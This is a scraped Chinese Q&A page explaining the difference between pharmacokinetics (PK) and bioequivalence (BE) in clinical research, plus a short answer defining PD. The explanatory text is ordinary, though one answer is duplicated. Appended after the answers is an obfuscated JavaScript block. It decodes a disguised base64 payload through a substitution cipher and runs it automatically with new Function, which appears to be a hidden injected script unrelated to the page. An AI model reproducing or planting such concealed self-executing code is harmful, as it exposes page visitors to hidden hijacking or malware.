临床研究中PK和BE有什么区别

2025-04-04 15:09:40
推荐回答(2个)
回答1:

一、PK和BE全称pharmacokinetics 以及bio equivalent,前者是药物动力学,主要指的就是血药浓度随时间变化的特点

而BE是生物等效性,一般就是讲两种药物在生物体中的药物效应是一致的,而指标一般选用PK的指标,就是血药浓度曲线中的Cmax和AUC等,90的置信区间要落到80到125之间!当然BE有时候是通过溶出度曲线等来判定或是其它一些药效学指标,但通常都是用PK参数!

二、一般BE使用的是绝对生物利用度或者是相对生物利用度来表示的

而PK主要是采集血药/尿药浓度绘制药时曲线,主要收集药代动力学参数(半衰期、峰浓度、达峰时间、清除率、表观分布溶积、生物利用度等)。药动学一般有不同剂量、不同用药周期、不同性别、不同种族、不同健康度人群给药研究,采集药动学数据;而生物等效性虽然使用药动学参数表示——曲线下面积(AUC)、峰浓度(Cmax),其实验设计目的是不一样的,一般只针对仿制药或改剂型。所以做BE的时候,一般有两种制剂,一是参比制剂,一是自制制剂,比较它们的相对生物利用度或绝对生物利用度,判定药物是否等效。以上仅代表个人见解三、按现在注册要求,以化药为例:

回答2:

药物临床试验中的pd是什么意思?

pd指pharmacodynamics
即药物效应动力学
指体内药物浓度与作用效应强度的关系.

pk指pharmacokinetics
即药物代谢动力学.
指体内药物浓度与时间的关系.

pd指pharmacodynamics
即药物效应动力学
指体内药物浓度与作用效应强度的关系.

pk指pharmacokinetics
即药物代谢动力学.
指体内药物浓度与时间的关系.

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();